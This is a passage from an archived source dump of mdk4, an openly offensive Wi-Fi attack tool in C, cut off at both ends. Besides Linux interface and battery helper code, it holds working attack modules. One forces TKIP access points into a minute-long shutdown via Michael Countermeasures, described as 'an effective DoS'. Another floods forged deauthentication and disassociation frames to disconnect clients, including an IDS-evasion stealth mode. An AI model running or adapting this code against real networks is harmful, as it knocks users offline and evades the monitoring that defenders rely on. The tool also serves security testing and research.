2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_port3", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ORINOCO; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep get_scan_times >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_AT76USB; } /* test if zd1211rw */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_regdomain", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ZD1211RW; } if( dev->drivertype == DT_IPW2200 ) { snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", iface); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); buf[127]='\x00'; //rtap iface doesn't exist if(strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) goto close_out; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; unused_str = fgets(buf, 128, acpi); } fclose(acpi); //use name in buf as new iface and set original iface as main iface dev->main_if = (char*) malloc(strlen(iface)+1); memset(dev->main_if, 0, strlen(iface)+1); strncpy(dev->main_if, iface, strlen(iface)); iface=(char*)malloc(strlen(buf)+1); iface_malloced = 1; memset(iface, 0, strlen(buf)+1); strncpy(iface, buf, strlen(buf)); } /* test if rtap interface and try to find real interface */ if( memcmp( iface, "rtap", 4) == 0 && dev->main_if == NULL) { memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); n = 0; if( ioctl( dev->fd_out, SIOCGIFINDEX, &ifr ) < 0 ) { //create rtap interface n = 1; } net_ifaces = opendir("/sys/class/net"); if ( net_ifaces != NULL ) { while (net_ifaces != NULL && ((this_iface = readdir(net_ifaces)) != NULL)) { if (this_iface->d_name[0] == '.') continue; snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", this_iface->d_name); if ((acpi = fopen(r_file, "r")) == NULL) continue; if (acpi != NULL) { dev->drivertype = DT_IPW2200; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); if(n==0) //interface exists { if (strncmp(buf, iface, 5) == 0) { fclose(acpi); if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); break; } } else //need to create interface { if (strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) continue; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) continue; unused_str = fgets(buf, 128, acpi); if (strncmp(buf, iface, 5) == 0) { if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); fclose(acpi); break; } } } fclose(acpi); } } if (net_ifaces != NULL) closedir(net_ifaces); } } if(0) fprintf(stderr, "Interface %s -> driver: %s\n", iface, szaDriverTypes[dev->drivertype]); if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0) { goto close_out; } /* don't use the same file descriptor for in and out on bcm43xx, as you read from the interface, but write into a file in /sys/... */ if(!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200)) dev->fd_in = dev->fd_out; else { /* if bcm43xx or ipw2200, swap both fds */ n=dev->fd_out; dev->fd_out=dev->fd_in; dev->fd_in=n; } dev->arptype_in = dev->arptype_out; if(iface_malloced) free(iface); return 0; close_out: close(dev->fd_out); close_in: close(dev->fd_in); if(iface_malloced) free(iface); if(iwpriv) free(iwpriv); return 1; } static void do_free(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if(pl->wlanctlng) free(pl->wlanctlng); if(pl->iwpriv) free(pl->iwpriv); if(pl->iwconfig) free(pl->iwconfig); if(pl->ifconfig) free(pl->ifconfig); if(pl->wl) free(pl->wl); if(pl->main_if) free(pl->main_if); free(pl); free(wi); } static void linux_close(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); if (pl->fd_main) close(pl->fd_main); do_free(wi); } #ifdef CONFIG_LIBNL static void linux_close_nl80211(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); nl80211_cleanup(&state); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); do_free(wi); } #endif static int linux_fd(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); return pl->fd_in; } static int linux_get_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd; fd = wi_fd(wi); /* find the interface index */ /* ipw2200 got a file opened as fd */ if(pl->drivertype == DT_IPW2200) { memcpy(mac, pl->pl_mac, 6); return 0; } memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( pl->pl_mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); /* XXX */ memcpy(mac, pl->pl_mac, 6); return 0; } static int linux_set_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd, ret; fd = wi_fd(wi); /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } // if down ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; memcpy(ifr.ifr_hwaddr.sa_data, mac, 6); memcpy(pl->pl_mac, mac, 6); //set mac ret = ioctl(fd, SIOCSIFHWADDR, &ifr); //if up ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } return ret; } static struct wif *linux_open(char *iface) { struct wif *wi; struct priv_linux *pl; wi = wi_alloc(sizeof(*pl)); if (!wi) return NULL; wi->wi_read = linux_read; wi->wi_write = linux_write; #ifdef CONFIG_LIBNL linux_nl80211_init(&state); wi->wi_set_channel = linux_set_channel_nl80211; #else wi->wi_set_channel = linux_set_channel; #endif wi->wi_get_channel = linux_get_channel; wi->wi_set_freq = linux_set_freq; wi->wi_get_freq = linux_get_freq; #ifdef CONFIG_LIBNL wi->wi_close = linux_close_nl80211; #else wi->wi_close = linux_close; #endif wi->wi_fd = linux_fd; wi->wi_get_mac = linux_get_mac; wi->wi_set_mac = linux_set_mac; wi->wi_get_monitor = linux_get_monitor; wi->wi_get_rate = linux_get_rate; wi->wi_set_rate = linux_set_rate; wi->wi_get_mtu = linux_get_mtu; wi->wi_set_mtu = linux_set_mtu; if (do_linux_open(wi, iface)) { do_free(wi); return NULL; } return wi; } struct wif *wi_open_osdep(char *iface) { return linux_open(iface); } int get_battery_state(void) { char buf[128]; int batteryTime = 0; FILE *apm; int flag; char units[32]; int ret; static int linux_apm = 1; static int linux_acpi = 1; if (linux_apm == 1) { char *battery_data = NULL; if ((apm = fopen("/proc/apm", "r")) != NULL ) { battery_data = fgets(buf, 128, apm); fclose(apm); } if ( battery_data != NULL ) { int charging, ac; ret = sscanf(battery_data, "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n", &ac, &charging, &flag, &batteryTime, units); if(!ret) return 0; if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1 && batteryTime != -1) { if (!strncmp(units, "min", 32)) batteryTime *= 60; } else return 0; linux_acpi = 0; return batteryTime; } linux_apm = 0; } if (linux_acpi && !linux_apm) { DIR *batteries, *ac_adapters; struct dirent *this_battery, *this_adapter; FILE *acpi, *info; char battery_state[128]; char battery_info[128]; int rate = 1, remain = 0, current = 0; static int total_remain = 0, total_cap = 0; int batno = 0; static int info_timer = 0; int batt_full_capacity[3]; linux_apm=0; linux_acpi=1; ac_adapters = opendir("/proc/acpi/ac_adapter"); if ( ac_adapters == NULL ) return 0; while (ac_adapters != NULL && ((this_adapter = readdir(ac_adapters)) != NULL)) { if (this_adapter->d_name[0] == '.') continue; /* safe overloaded use of battery_state path var */ snprintf(battery_state, sizeof(battery_state), "/proc/acpi/ac_adapter/%s/state", this_adapter->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; if (acpi != NULL) { while(fgets(buf, 128, acpi)) { if (strstr(buf, "on-line") != NULL) { fclose(acpi); if (ac_adapters != NULL) closedir(ac_adapters); return 0; } } fclose(acpi); } } if (ac_adapters != NULL) closedir(ac_adapters); batteries = opendir("/proc/acpi/battery"); if (batteries == NULL) { closedir(batteries); return 0; } while (batteries != NULL && ((this_battery = readdir(batteries)) != NULL)) { if (this_battery->d_name[0] == '.') continue; snprintf(battery_info, sizeof(battery_info), "/proc/acpi/battery/%s/info", this_battery->d_name); info = fopen(battery_info, "r"); batt_full_capacity[batno] = 0; if ( info != NULL ) { while (fgets(buf, sizeof(buf), info) != NULL) if (sscanf(buf, "last full capacity: %d mWh", &batt_full_capacity[batno]) == 1) continue; fclose(info); } snprintf(battery_state, sizeof(battery_state), "/proc/acpi/battery/%s/state", this_battery->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; while (fgets(buf, 128, acpi)) { if (strncmp(buf, "present:", 8 ) == 0) { /* No information for this battery */ if (strstr(buf, "no" )) continue; } else if (strncmp(buf, "charging state:", 15) == 0) { /* the space makes it different than discharging */ if (strstr(buf, " charging" )) { closedir(batteries); fclose( acpi ); return 0; } } else if (strncmp(buf, "present rate:", 13) == 0) rate = atoi(buf + 25); else if (strncmp(buf, "remaining capacity:", 19) == 0) { remain = atoi(buf + 25); total_remain += remain; } else if (strncmp(buf, "present voltage:", 17) == 0) current = atoi(buf + 25); } total_cap += batt_full_capacity[batno]; fclose(acpi); batteryTime += (int) (( ((float)remain) /rate ) * 3600); batno++; } info_timer++; if (batteries != NULL) closedir(batteries); } return batteryTime; } mdk4-master/src/attacks/0000755000175000017500000000000013525065636016216 5ustar samuelophsamuelophmdk4-master/src/attacks/Makefile0000644000175000017500000000031313525065636017653 0ustar samuelophsamuelophCFLAGS += -g -O3 -Wall -Wextra LINKFLAGS = -lpthread $(LDFLAGS) OBJS = $(shell ls *.h | sed s/"\.h"/"\.o"/g) all: $(OBJS) install: $(OBJS) .PHONY: clean clean: rm -f $(OBJS) *.o distclean: clean mdk4-master/src/attacks/eapol.h0000644000175000017500000000050313525065636017465 0ustar samuelophsamueloph#ifndef HAVE_EAPOL_H #define HAVE_EAPOL_H #include "attacks.h" void eapol_shorthelp(); void eapol_longhelp(); struct attacks load_eapol(); void *eapol_parse(int argc, char *argv[]); struct packet eapol_getpacket(void *options); void eapol_print_stats(void *options); void eapol_perform_check(void *options); #endifmdk4-master/src/attacks/countermeasures.c0000644000175000017500000001363413525065636021615 0ustar samuelophsamueloph#include #include #include #include #include "countermeasures.h" #include "../osdep.h" #include "../mac_addr.h" #include "../helpers.h" #define COUNTERMEASURES_MODE 'm' #define COUNTERMEASURES_NAME "Michael Countermeasures Exploitation" #define QOS_PACKET_PRIO_POS 24 struct countermeasures_options { struct ether_addr *target; unsigned char useqos; unsigned int burst_pause; unsigned int burst_packets; unsigned int speed; }; void countermeasures_shorthelp() { printf(" Sends random packets or re-injects duplicates on another QoS queue\n"); printf(" to provoke Michael Countermeasures on TKIP APs.\n"); printf(" AP will then shutdown for a whole minute, making this an effective DoS.\n"); } void countermeasures_longhelp() { printf( " Sends random packets or re-injects duplicates on another QoS queue\n" " to provoke Michael Countermeasures on TKIP APs.\n" " AP will then shutdown for a whole minute, making this an effective DoS.\n" " -t \n" " Set target AP, that runs TKIP encryption\n" " -j\n" " Use the new QoS exploit which only needs to reinject a few packets instead\n" " of the random packet injection, which is unreliable but works without QoS.\n" " -s \n" " Set speed in packets per second (Default: 400)\n" " -w \n" " Wait between each random packet burst (Default: 10)\n" " -n \n" " Send random packets per burst (Default: 70)\n"); } void *countermeasures_parse(int argc, char *argv[]) { int opt; struct countermeasures_options *copt = malloc(sizeof(struct countermeasures_options)); copt->target = NULL; copt->useqos = 0; copt->burst_pause = 10; copt->burst_packets = 70; copt->speed = 400; while ((opt = getopt(argc, argv, "t:js:w:n:")) != -1) { switch (opt) { case 'j': copt->useqos = 1; break; case 't': copt->target = malloc(sizeof(struct ether_addr)); *(copt->target) = parse_mac(optarg); break; case 's': copt->speed = (unsigned int) atoi(optarg); break; case 'w': if (copt->useqos) printf("WARNING: Burst Pause option ignored in QoS mode\n"); copt->burst_pause = (unsigned int) atoi(optarg); break; case 'n': if (copt->useqos) printf("WARNING: Burst Count option ignored in QoS mode\n"); copt->burst_packets = (unsigned int) atoi(optarg); break; default: countermeasures_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } if ((! copt->target) && (! copt->useqos)) { countermeasures_longhelp(); printf("\n\nTarget must be specified in Random Flood mode!\n"); return NULL; } return (void *) copt; } struct packet countermeasures_getpacket(void *options) { struct countermeasures_options *copt = (struct countermeasures_options *) options; struct packet pkt; static struct packet sniffed; struct ieee_hdr *hdr; struct ether_addr src; static unsigned int nb_pkt = 0; unsigned char i; long int r; if (!nb_pkt) { sniffed.len = 0; nb_pkt = 1; } //init sleep_till_next_packet(copt->speed); if (copt->useqos) { if (sniffed.len) { //We got a packet, that has to be sent again a few times :) sniffed.data[QOS_PACKET_PRIO_POS]++; increase_seqno(&sniffed); //Increase sequence counter to avoid IDS pkt = sniffed; if ((sniffed.data[QOS_PACKET_PRIO_POS] & 0x07) == 0x07) { sniffed.len = 0; } return pkt; } else { printf("\rWaiting for QoS Data Packet... "); fflush(stdout); while(1) { sniffed = osdep_read_packet(); hdr = (struct ieee_hdr *) sniffed.data; if (hdr->type != IEEE80211_TYPE_QOSDATA) continue; //QoS? if ((hdr->flags & 0x03) != 0x01) continue; //ToDS? //From our target? if (copt->target == NULL) break; if (! MAC_MATCHES(*(copt->target),*(get_bssid(&sniffed)))) continue; break; } printf("\rQoS Packet from "); print_mac(*(get_source(&sniffed))); printf(" to AP "); print_mac(*(get_bssid(&sniffed))); printf(" with priority %d captured and reinjected.\n", sniffed.data[QOS_PACKET_PRIO_POS] & 0x07); sniffed.data[QOS_PACKET_PRIO_POS] &= 0xF8; //Reset QoS queue to 0 increase_seqno(&sniffed); //Increase sequence counter to avoid IDS pkt = sniffed; return pkt; } } else { // pkt.len = (rand() % 246) + 20; src = generate_mac(MAC_KIND_CLIENT); create_ieee_hdr(&pkt, IEEE80211_TYPE_DATA, 't', AUTH_DEFAULT_DURATION, *(copt->target), src, *(copt->target), SE_NULLMAC, 0); pkt.len = 64; hdr = (struct ieee_hdr *) pkt.data; hdr->flags |= 0x40; //Set Encryption //random extended IV r = random(); memcpy(pkt.data + 24, &r, 4); pkt.data[27] = 0x20; r = 0; memcpy(pkt.data + 28, &r, 4); //random data for(i=32; iburst_packets)) sleep(copt->burst_pause); return pkt; } return pkt; } void countermeasures_print_stats(void *options) { //Unused options = options; //Avoid unused warning } void countermeasures_perform_check(void *options) { //Nothing to check options = options; //Avoid unused warning } struct attacks load_countermeasures() { struct attacks this_attack; char *countermeasures_name = malloc(strlen(COUNTERMEASURES_NAME) + 1); strcpy(countermeasures_name, COUNTERMEASURES_NAME); this_attack.print_shorthelp = (fp) countermeasures_shorthelp; this_attack.print_longhelp = (fp) countermeasures_longhelp; this_attack.parse_options = (fpo) countermeasures_parse; this_attack.get_packet = (fpp) countermeasures_getpacket; this_attack.print_stats = (fps) countermeasures_print_stats; this_attack.perform_check = (fps) countermeasures_perform_check; this_attack.mode_identifier = COUNTERMEASURES_MODE; this_attack.attack_name = countermeasures_name; return this_attack; } mdk4-master/src/attacks/auth_dos.h0000644000175000017500000000053613525065636020201 0ustar samuelophsamueloph#ifndef HAVE_AUTH_DOS_H #define HAVE_AUTH_DOS_H #include "attacks.h" void auth_dos_shorthelp(); void auth_dos_longhelp(); struct attacks load_auth_dos(); void *auth_dos_parse(int argc, char *argv[]); struct packet auth_dos_getpacket(void *options); void auth_dos_print_stats(void *options); void auth_dos_perform_check(void *options); #endifmdk4-master/src/attacks/dummy.h0000644000175000017500000000021613525065636017521 0ustar samuelophsamueloph#ifndef HAVE_DUMMY_H #define HAVE_DUMMY_H #include "attacks.h" void call_dummy(); void call_dummy2(); struct attacks load_dummy(); #endifmdk4-master/src/attacks/deauth.c0000644000175000017500000003152613525065636017643 0ustar samuelophsamueloph#include #include #include #include #include #include "deauth.h" #include "../osdep.h" #include "../channelhopper.h" #include "../greylist.h" #include "../helpers.h" #define DEAUTH_NAME "Deauthentication and Disassociation" #define LIST_REREAD_PERIOD 3 //Global things, shared by packet creation and stats printing struct ether_addr bssid, station; struct ether_addr mac_block; // MAC for d mode, -S struct ether_addr bssid_block; // MAC for d mode, -B struct ether_addr essid_mac_block; // MAC for d mode, -E struct ether_addr white_mac; // white station MAC -W unsigned char essid_block[33] = {0}; // essid for d mode, -E unsigned char essid_len; void deauth_shorthelp() { printf(" Sends deauthentication and disassociation packets to stations\n"); printf(" based on data traffic to disconnect all clients from an AP.\n"); } void deauth_longhelp() { printf( " Sends deauthentication and disassociation packets to stations\n" " based on data traffic to disconnect all clients from an AP.\n" " -w \n" " Read file containing MACs not to care about (Whitelist mode)\n" " -b \n" " Read file containing MACs to run test on (Blacklist Mode)\n" " -s \n" " Set speed in packets per second (Default: unlimited)\n" " -x\n" " Enable full IDS stealth by matching all Sequence Numbers\n" " Packets will only be sent with clients' addresses\n" " -c [chan,chan,...,chan[:speed]]\n" " Enable channel hopping. When -c h is given, mdk4 will hop an all\n" " 14 b/g channels. Channel will be changed every 3 seconds,\n" " if speed is not specified. Speed value is in milliseconds!\n" " -E \n" " Specify an AP ESSID to attack.\n" " -B \n" " Specify an AP BSSID to attack.\n" " -S \n" " Specify a station MAC address to attack.\n" " -W \n" " Specify a whitelist station MAC.\n"); } void *deauth_parse(int argc, char *argv[]) { int opt, speed; char *speedstr; struct deauth_options *dopt = malloc(sizeof(struct deauth_options)); dopt->greylist = NULL; dopt->isblacklist = BLACKLIST_FROM_NONE; dopt->speed = 0; dopt->stealth = 0; dopt->blacklist = NULL; dopt->whitelist = NULL; dopt->blacklist_from_file = 0; dopt->blacklist_from_essid = 0; dopt->blacklist_from_bssid = 0; dopt->blacklist_from_station = 0; dopt->whitelist_from_file = 0; dopt->whitelist_from_station = 0; while ((opt = getopt(argc, argv, "w:b:s:xc:E:B:S:W:")) != -1) { switch (opt) { case 'w': dopt->whitelist = malloc(strlen(optarg) + 1); strcpy(dopt->whitelist, optarg); dopt->whitelist_from_file = 1; break; case 'b': dopt->blacklist = malloc(strlen(optarg) + 1); strcpy(dopt->blacklist, optarg); dopt->blacklist_from_file = 1; break; case 's': dopt->speed = (unsigned int) atoi(optarg); break; case 'x': dopt->stealth = 1; break; case 'c': speed = 3000000; speedstr = strrchr(optarg, ':'); if (speedstr != NULL) { speed = 1000 * atoi(speedstr + 1); } if (optarg[0] == 'h') { init_channel_hopper(NULL, speed); } else { init_channel_hopper(optarg, speed); } break; case 'E': essid_len = strlen(optarg); memcpy(essid_block, optarg, essid_len); dopt->blacklist_from_essid = 1; //printf("-Blacklist ESSID MAC: %s\n", optarg); break; case 'B': bssid_block = parse_mac(optarg); dopt->blacklist_from_bssid = 1; //printf("-Blacklist BSSID MAC: %s\n", optarg); break; case 'S': mac_block = parse_mac(optarg); dopt->blacklist_from_station = 1; //printf("-Blacklist Station MAC: %s\n", optarg); break; case 'W': white_mac = parse_mac(optarg); dopt->whitelist_from_station = 1; //printf("-Whitelist Station MAC: %s\n", optarg); break; default: deauth_longhelp(); printf("\n\nUnknown option %c\n", opt); return NULL; } } return (void *) dopt; } struct ether_addr get_target_bssid() { struct ether_addr mac_block; struct packet sniffed; struct ieee_hdr *hdr; while(1) { sniffed = osdep_read_packet(); if (sniffed.len == 0) exit(-1); hdr = (struct ieee_hdr *) sniffed.data; if (hdr->type == IEEE80211_TYPE_BEACON ) { if(! memcmp(sniffed.data+38, essid_block, sniffed.data[37])){ memcpy(mac_block.ether_addr_octet, sniffed.data + 16, ETHER_ADDR_LEN); break; } } } return mac_block; } unsigned char accept_target1(struct packet *pkt, struct deauth_options *dopt) { struct ieee_hdr *hdr = (struct ieee_hdr *) pkt->data; //if (! greylist) return 1; //Always accept when no black/whitelisting selected if(dopt->blacklist_from_file == 0 && dopt->blacklist_from_essid == 0 && dopt->blacklist_from_bssid == 0 && dopt->blacklist_from_station == 0 && dopt->whitelist_from_file == 0 && dopt->whitelist_from_station == 0) return 1; if(MAC_IS_BCAST(hdr->addr1)) return 0; // If any of the Adresses is Blacklisted, ACCEPT target if (dopt->blacklist_from_file == 1) { if (is_blacklisted(hdr->addr1) || is_blacklisted(hdr->addr2) || is_blacklisted(hdr->addr3)) { return 1; } } if(dopt->blacklist_from_bssid == 1 && dopt->blacklist_from_station == 1) { if((MAC_MATCHES(bssid_block, hdr->addr1) || MAC_MATCHES(bssid_block, hdr->addr2) || MAC_MATCHES(bssid_block, hdr->addr3)) && (MAC_MATCHES(mac_block, hdr->addr1) || MAC_MATCHES(mac_block, hdr->addr2) || MAC_MATCHES(mac_block, hdr->addr3))) { return 1; } return 0; } if(dopt->blacklist_from_essid == 1 && dopt->blacklist_from_station == 1) { if((MAC_MATCHES(essid_mac_block, hdr->addr1) || MAC_MATCHES(essid_mac_block, hdr->addr2) || MAC_MATCHES(essid_mac_block, hdr->addr3)) && (MAC_MATCHES(mac_block, hdr->addr1) || MAC_MATCHES(mac_block, hdr->addr2) || MAC_MATCHES(mac_block, hdr->addr3))) { return 1; } return 0; } if(dopt->blacklist_from_bssid == 1) { if(MAC_MATCHES(bssid_block, hdr->addr1) || MAC_MATCHES(bssid_block, hdr->addr2) || MAC_MATCHES(bssid_block, hdr->addr3)) { if(dopt->whitelist_from_station == 1) { if(MAC_MATCHES(white_mac, hdr->addr1) || MAC_MATCHES(white_mac, hdr->addr2) || MAC_MATCHES(white_mac, hdr->addr3)) return 0; } if(dopt->whitelist_from_file == 1) { if (is_whitelisted(hdr->addr1)) return 0; if (is_whitelisted(hdr->addr2)) return 0; if (is_whitelisted(hdr->addr3)) return 0; if ((hdr->flags & 0x03) == 0x03) { //WDS... struct ether_addr *fourth = get_source(pkt); if (is_whitelisted(*fourth)) return 0; } } return 1; } } if(dopt->blacklist_from_essid == 1) { if(MAC_MATCHES(essid_mac_block, hdr->addr1) || MAC_MATCHES(essid_mac_block, hdr->addr2) || MAC_MATCHES(essid_mac_block, hdr->addr3)) { if(dopt->whitelist_from_station == 1) { if(MAC_MATCHES(white_mac, hdr->addr1) || MAC_MATCHES(white_mac, hdr->addr2) || MAC_MATCHES(white_mac, hdr->addr3)) return 0; } if(dopt->whitelist_from_file == 1) { if (is_whitelisted(hdr->addr1)) return 0; if (is_whitelisted(hdr->addr2)) return 0; if (is_whitelisted(hdr->addr3)) return 0; if ((hdr->flags & 0x03) == 0x03) { //WDS... struct ether_addr *fourth = get_source(pkt); if (is_whitelisted(*fourth)) return 0; } } return 1; } } if(dopt->blacklist_from_station == 1) { if(MAC_MATCHES(mac_block, hdr->addr1) || MAC_MATCHES(mac_block, hdr->addr2) || MAC_MATCHES(mac_block, hdr->addr3)) return 1; } if(dopt->whitelist_from_file == 1) { if (is_whitelisted(hdr->addr1) || is_whitelisted(hdr->addr2) || is_whitelisted(hdr->addr3)) { return 0; } else { return 1; } } if(dopt->whitelist_from_station == 1) { if(MAC_MATCHES(white_mac, hdr->addr1) || MAC_MATCHES(white_mac, hdr->addr2) || MAC_MATCHES(white_mac, hdr->addr3)) { return 0; } else { return 1; } } return 0; } unsigned char get_new_target1(struct ether_addr *client, struct ether_addr *ap, struct deauth_options *dopt) { struct packet sniffed; struct ieee_hdr *hdr; unsigned char wds = 0; if(dopt == NULL) return wds; while(1) { sniffed = osdep_read_packet(); if (sniffed.len == 0) exit(-1); hdr = (struct ieee_hdr *) sniffed.data; if(dopt->blacklist_from_essid == 1){ if(hdr->type == IEEE80211_TYPE_BEACON){ if(! memcmp(sniffed.data+38, essid_block, sniffed.data[37])){ memcpy(essid_mac_block.ether_addr_octet, sniffed.data + 16, ETHER_ADDR_LEN); } } } if ((hdr->type != IEEE80211_TYPE_DATA) && (hdr->type != IEEE80211_TYPE_QOSDATA) && (hdr->type != IEEE80211_TYPE_NULL) && (hdr->type != IEEE80211_TYPE_AUTH) && (hdr->type != IEEE80211_TYPE_ASSOCREQ) && (hdr->type != IEEE80211_TYPE_ASSOCRES) && (hdr->type != IEEE80211_TYPE_REASSOCREQ)) continue; if (dopt->stealth && ((hdr->flags & 0x03) != 0x01)) continue; //In stealth mode do not impersonate AP, IDS will figure out the duplicate SEQ number! if (accept_target1(&sniffed, dopt)) break; } switch (hdr->flags & 0x03) { case 0x03: //WDS wds = 1; MAC_COPY(*client, hdr->addr1); MAC_COPY(*ap, hdr->addr2); break; case 0x01: //ToDS MAC_COPY(*client, hdr->addr2); MAC_COPY(*ap, hdr->addr1); break; case 0x02: //FromDS if(hdr->type == IEEE80211_TYPE_DATA) MAC_COPY(*client, hdr->addr3); else MAC_COPY(*client, hdr->addr1); MAC_COPY(*ap, hdr->addr2); break; case 0x00: //NoDS (AdHoc) MAC_COPY(*client, hdr->addr2); MAC_COPY(*ap, hdr->addr3); break; } set_seqno(NULL, get_seqno(&sniffed)); // Eff you, WIDS return wds; } struct packet deauth_getpacket(void *options) { struct deauth_options *dopt = (struct deauth_options *) options; static time_t t_prev = 0; static unsigned char wds, state = 0; /*if (dopt->greylist) { if (t_prev == 0) { printf("Periodically re-reading blacklist/whitelist every %d seconds\n\n", LIST_REREAD_PERIOD); } if ((time(NULL) - t_prev) >= LIST_REREAD_PERIOD) { t_prev = time(NULL); load_greylist(dopt->isblacklist, dopt->greylist); } }*/ if (t_prev == 0) { if(dopt->blacklist || dopt->whitelist) printf("Periodically re-reading blacklist/whitelist every %d seconds\n\n", LIST_REREAD_PERIOD); } if ((time(NULL) - t_prev) >= LIST_REREAD_PERIOD) { t_prev = time(NULL); if(dopt->blacklist){ load_blacklist(dopt->blacklist); } if(dopt->whitelist){ load_whitelist(dopt->whitelist); } } if (dopt->speed) sleep_till_next_packet(dopt->speed); switch (state) { case 0: //wds = get_new_target(&station, &bssid, dopt->isblacklist, dopt->greylist, dopt->stealth); wds = get_new_target1(&station, &bssid, dopt); state = 1; return create_deauth(bssid, station, bssid); break; case 1: state = 2; if (wds) state = 4; if (dopt->stealth) state = 0; return create_disassoc(bssid, station, bssid); break; case 2: state = 3; return create_deauth(station, bssid, bssid); break; case 3: state = 0; return create_disassoc(station, bssid, bssid); break; case 4: state = 5; return create_deauth(station, bssid, station); break; case 5: state = 0; return create_disassoc(station, bssid, station); break; } printf("\nIMPOSSIBLE!\n"); exit(-1); } void deauth_print_stats(void *options) { int chan = osdep_get_channel(); options = options; //Avoid unused warning printf("\rDisconnecting "); print_mac(station); printf(" from "); print_mac(bssid); if (chan) { printf(" on channel %d\n", chan); } else { printf("\n"); } } void deauth_perform_check(void *options) { //Nothing to check for beacon flooding attacks options = options; //Avoid unused warning } struct attacks load_deauth() { struct attacks this_attack; char *deauth_name = malloc(strlen(DEAUTH_NAME) + 1); strcpy(deauth_name, DEAUTH_NAME); this_attack.print_shorthelp = (fp) deauth_shorthelp; this_attack.print_longhelp = (fp) deauth_longhelp; this_attack.parse_options = (fpo) deauth_parse; this_attack.get_packet = (fpp) deauth_getpacket; this_attack.print_stats = (fps) deauth_print_stats; this_attack.perform_check = (fps) deauth_perform_check; this_attack.mode_identifier = DEAUTH_MODE; this_attack.attack_name = deauth_name; return this_attack; } mdk4-master/src/attacks/probing.h0000644000175000017500000000052613525065636020032 0ustar samuelophsamueloph#ifndef HAVE_PROBING_H #define HAVE_PROBING_H #include "attacks.h" void probing_shorthelp(); void probing_longhelp(); struct attacks load_probing(); void *probing_parse(int argc, char *argv[]); struct packet probing_getpacket(void *options); void probing_print_stats(void *options); void probing_perform_check(void *options); #endif mdk4-master/src/attacks/deauth.h0000644000175000017500000000164013525065636017642 0ustar samuelophsamueloph#ifndef HAVE_DEAUTH_H #define HAVE_DEAUTH_H #include "attacks.h" #define DEAUTH_MODE 'd' enum blacklist_type{ BLACKLIST_FROM_NONE, BLACKLIST_FROM_FILE, BLACKLIST_FROM_ESSID, BLACKLIST_FROM_BSSID, BLACKLIST_FROM_STATION }; struct deauth_options { char *greylist; char *blacklist; 